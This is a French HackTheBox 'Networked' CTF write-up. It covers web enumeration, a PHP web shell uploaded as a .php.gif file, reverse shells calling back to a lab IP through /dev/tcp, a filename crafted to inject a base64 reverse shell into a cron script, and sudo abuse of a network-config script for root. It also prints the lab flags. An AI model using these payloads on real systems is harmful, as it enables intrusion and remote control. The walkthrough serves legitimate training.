> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md). # Compte-rendu HackTheBox Networked Compte-rendu Linux HackTheBox Networked couvrant l’énumération web, le contournement de téléversement, l’injection de commandes et l’escalade via sudo. {% embed url="" %} {% hint style="warning" %} **Compétences :** * Énumération web et revue du code स्रोत * Contournement de la validation de téléchargement de fichier * Injection de commande dans une tâche cron * Abus d’une mauvaise configuration de sudo {% endhint %} ## Reconnaissance ### Configuration de l'environnement de travail Créez un espace de travail, puis vérifiez la connectivité vers la cible. ```bash mkt ping -c 1 10.129.5.171 ``` La réponse confirme que la cible est un hôte Linux.

### Analyse TCP Identifiez les services TCP exposés avec une analyse complète des ports. ```bash sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.171 -oG allPorts ``` L’analyse identifie les ports `22` et `80`.

### Analyse des services et des versions Identifiez les services et les versions s’exécutant sur les ports exposés. ```bash nmap -sCV -p22,80 10.129.5.171 -oN targeted ``` L’hôte exécute Apache `2.4.6` sur CentOS avec PHP `5.4.16`.

### Port 80 Le site Web affiche le message suivant : > Salut l’ami, nous construisons le nouveau FaceMash !\ > Aidez-nous en nous finançant et devenez le nouveau Tyler\&Cameron !\ > Rejoignez-nous à la fête au bord de la piscine ce samedi pour en avoir un aperçu

Énumérez les répertoires avec Gobuster. ```bash gobuster dir -u http://10.129.5.171 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 ``` L’analyse révèle `/backup` et `/uploads`.

Le `/backup` le répertoire expose une archive TAR.

Extrayez l’archive localement. ```bash tar xopf foo.tar ``` L’archive contient quatre fichiers PHP : * `index.php` * lib.php * photos.php * upload.php Le `upload.php` la page fournit un formulaire de téléversement.

Un téléversement direct de PHP échoue parce que l’application valide le format de l’image. ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` L’application rejette le fichier comme une image invalide.

Téléversez un fichier avec un en-tête GIF et une `.php.gif` extension. ```bash Content-Disposition: form-data; name="myFile"; filename="cmd.php.gif" Content-Type: application/x-php GIF89a " . shell_exec($_GET['cmd']) . ""; ?> ``` L’application accepte le téléversement.

Le fichier téléversé exécute du code PHP malgré son extension GIF. ```bash http://10.129.5.171/uploads/10_10_15_2.php.gif?cmd=id ```

Démarrez un écouteur sur le port `443`. ```bash sudo nc -nvlp 443 ``` Utilisez l’exécution de commande pour obtenir un shell inversé. ```bash bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261" ```

### Basculez vers `guly` Une tâche planifiée s’exécute `/home/guly/check_attack.php` toutes les trois minutes. ```bash */3 * * * * php /home/guly/check_attack.php ``` Le script examine les fichiers dans `/var/www/html/uploads/`. ```php $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # à faire : joindre le fichier file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?> ``` Le script transmet chaque nom de fichier à une commande shell sans le gérer de manière sûre. Injectez une commande via un nom de fichier forgé. Encodez un payload de shell inversé. ```bash echo "bash -i >& /dev/tcp/10.10.15.2/4444 0>&1" | base64 ``` Le payload encodé est : ``` YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo= ``` Créez le nom de fichier malveillant. ```bash touch ";echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash;" ``` Démarrez un écouteur sur le port `4444`, puis attendez la tâche planifiée. ```bash nc -nvlp 4444 ```

La tâche planifiée renvoie un shell en tant que `guly`.

### Drapeau user.txt ``` fbeee367bab941cefca951caef664f27 ```

### Élévation de privilèges Vérifiez les commandes que `guly` peut exécuter avec `sudo`. ```bash sudo -l ``` L’utilisateur peut exécuter `/usr/local/sbin/changename.sh` en tant que `root`.

Le script écrit des valeurs contrôlées par l’utilisateur dans un fichier de configuration réseau. ```bash #!/bin/bash -p cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0 ``` Le filtre de saisie autorise les espaces et les barres obliques. Quand `ifup` traite la configuration générée, `test /bin/sh` déclenche un shell. Exécutez le script. ```bash sudo /usr/local/sbin/changename.sh ``` À n’importe quelle invite, entrez : ``` test /bin/sh ``` Cela ouvre un shell en tant que `root`.

### Drapeau root.txt

``` 6fa61de6fa918d2db507070fec1364e8 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.